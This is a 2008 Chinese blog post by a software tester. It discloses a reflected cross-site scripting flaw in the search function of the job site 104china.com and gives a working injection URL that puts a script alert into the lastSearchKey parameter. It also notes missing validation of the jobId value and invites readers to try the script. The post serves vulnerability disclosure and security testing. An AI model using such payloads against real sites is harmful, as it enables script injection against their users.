博主简介: 八年软件测试,五年测试管理,熟悉电商/支付/证券方面测试,研究性能,安全,自动化等测试技术;目前从事互联网金融证券测试!

[原创]104china网站安全性测试漏洞之“跨站脚本注入”

上一篇 / 下一篇  2008-06-23 17:22:40 / 个人分类:安全性测试

查看( 1491 ) / 评论( 1 )
[原创]104china网站安全性测试漏洞之“跨站脚本注入”

JobListAction.do接口存在漏洞
构造如下脚本:
http://www.104china.com/JobListA ... &lastSearchKey=>'><scrīpt>alert('卖烧烤%20的%20鱼%20到此一游')</scrīpt>&searchWay=&orderBy=+order+by+jobList.job.lastDate+desc&city=&city1=&city2=&jobCat=&jobCat1=&jobCat2=&industry=&industry1=&industry2=&sex=2&salarylow=0&salaryhigh=0&salarytype=0&role=0&role1=0&role2=0&appco=-1&capital=0&firstdate=-1&isadvance=0&istitle=1&searchKey=&isFilter=0&lastSearchKey1=&custNoString=&searchType=&searchTypeLink=&lastdate=-1&edu=0&period=0&age=0&flag=

其中还存在如下问题,程序对用户传入据合法性未做判断,如jobid=99999999值后:
http://www.104china.com/JobListA ... b.eduType+desc&jobId=99999999
上面的脚本你试试看

说明:其中“搜索”功能这块,对搜索的词类型,搜索词链接,搜索词的值,均存在跨站脚本注入漏洞


[本帖最后由 卖烧烤的鱼 于 2008-6-23 16:23 编辑]

104china_1.gif

TAG:

我是丑女 hellen_ma 发布于2008-07-07 11:54:11
thanks
我来说两句

(可选)

Open Toolbar